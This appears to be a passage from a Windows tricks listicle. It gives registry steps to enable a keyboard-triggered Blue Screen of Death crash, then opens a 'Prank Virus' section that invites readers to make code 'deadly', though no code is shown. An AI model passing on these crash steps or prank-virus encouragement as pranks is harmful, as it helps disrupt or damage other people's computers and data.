3. Getting Blue Screen Of Death (BOSD)

You may be surprised to know that Windows
has a built-in self-crashing mechanism . Though it is quite easy to crash a Windows box whenever
you doesn't want it to crash, it may be quite
difficult to reproduce the scenario, when you
desperately want your box crashed. So here
we give you two methods to
crash your Windows box.

Method 1: Windows Built-in Self Crasher
This method produces the 'awesome' BSOD
(Blue Screen Of Death) that you are no doubt
familiar with. The PC gets locked up and the
only way to recover is to
reboot it. Just follow these steps:

Run Regedit (Start -> Run -> regedit)
Navigate to HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\Services\i8042prt
\Parameters
Create a new DWORD value with name
CrashOnCtrlScroll and give it a value 1
Reboot the PC
Now whenever you want to see the cute blue
screen (and crash your system), press and
hold the Ctrl key on the right side of the
keyboard and hit the Scroll Lock key
twice.

4. Prank Virus
Type the below mentioned
codes and see the fun. Edit the
codes to make it more funny or even deadly.
